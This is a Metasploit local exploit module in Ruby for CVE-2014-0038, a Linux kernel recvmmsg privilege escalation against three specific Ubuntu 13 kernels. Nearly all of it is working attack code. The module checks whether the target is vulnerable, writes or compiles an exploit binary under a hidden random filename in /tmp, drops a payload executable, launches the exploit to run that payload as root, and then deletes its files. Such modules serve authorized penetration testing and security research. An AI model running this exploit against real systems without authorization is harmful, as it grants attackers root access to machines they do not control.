modules/exploits/linux/local/recvmmsg_priv_esc.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Kernel recvmmsg Privilege Escalation',
'Description' => %q{
This module attempts to exploit CVE-2014-0038, by sending a recvmmsg
system call with a crafted timeout pointer parameter to gain root.
This exploit has offsets for 3 Ubuntu 13 kernels:
3.8.0-19-generic (13.04 default);
3.11.0-12-generic (13.10 default);
3.11.0-15-generic (13.10).
This exploit may take up to 13 minutes to run due to a decrementing
(1/sec) pointer which starts at 0xff*3 (765 seconds)
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # Metasploit module
'rebel' # Discovery and exploit
],
'DisclosureDate' => '2014-02-02',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true },
'References' =>
[
[ 'BID', '65255' ],
[ 'CVE', '2014-0038' ],
[ 'EDB', '31347' ],
[ 'EDB', '31346' ],
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900' ]
],
'DefaultTarget' => 0))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
write_file path, data
end
def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end
def upload_and_compile(path, data)
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end
cmd_exec "chmod +x #{path}"
end
def strip_comments(c_code)
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
end
def exploit_data(file)
::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', file)
end
def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
if has_gcc?
vprint_good 'gcc is installed'
return true
end
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end
def check
arch = kernel_hardware
unless arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"
version = kernel_version
unless version.include? 'Ubuntu'
vprint_error "System kernel #{version} is not based on Ubuntu"
return CheckCode::Safe
end
vprint_good 'System kernel is based on Ubuntu'
# Ubuntu 12.x kernels are not supported
if version.include? 'precise'
vprint_error "System kernel #{version} is not exploitable"
return CheckCode::Safe
end
release = kernel_release
unless release =~ /^3\.11\.0-(12|15)-generic/ || release.eql?('3.8.0-19-generic')
vprint_error "Kernel #{release} #{version} is not exploitable"
return CheckCode::Safe
end
vprint_good "Kernel #{release} #{version} is exploitable"
CheckCode::Appears
end
def exploit
if !datastore['ForceExploit'] && is_root?
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# Upload exploit executable
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile executable_path, strip_comments(exploit_data('recvmmsg.c'))
rm_f "#{executable_path}.c"
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx executable_path, exploit_data('recvmmsg')
end
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
# Launch exploit
timeout = 780
print_status "Launching exploit... May take up to 13 minutes. Start time: #{Time.now}"
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
output.each_line { |line| vprint_status line.chomp }
print_status "Cleaning up #{payload_path} and #{executable_path}..."
rm_f executable_path
rm_f payload_path
end
end